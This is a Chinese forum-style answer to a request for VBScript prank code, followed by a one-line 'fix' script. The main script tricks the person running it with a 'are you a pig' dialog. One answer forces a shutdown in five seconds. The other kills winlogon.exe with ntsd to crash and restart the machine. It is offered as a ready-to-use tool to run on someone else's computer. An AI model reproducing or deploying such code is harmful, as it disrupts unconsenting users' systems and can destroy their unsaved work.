求一种vbs整人代码。

我的，如果你点是猪就5秒后关机 你可以改成0就是立刻关机！ 点不是就蓝屏重启
if MsgBox("你是猪吗。",vbYesNo,"猪")=vbYes then
msgbox " 猪应该重启 ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
解决办法：
什么都不要点建另一个VBS然后运行 代码如下：

Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"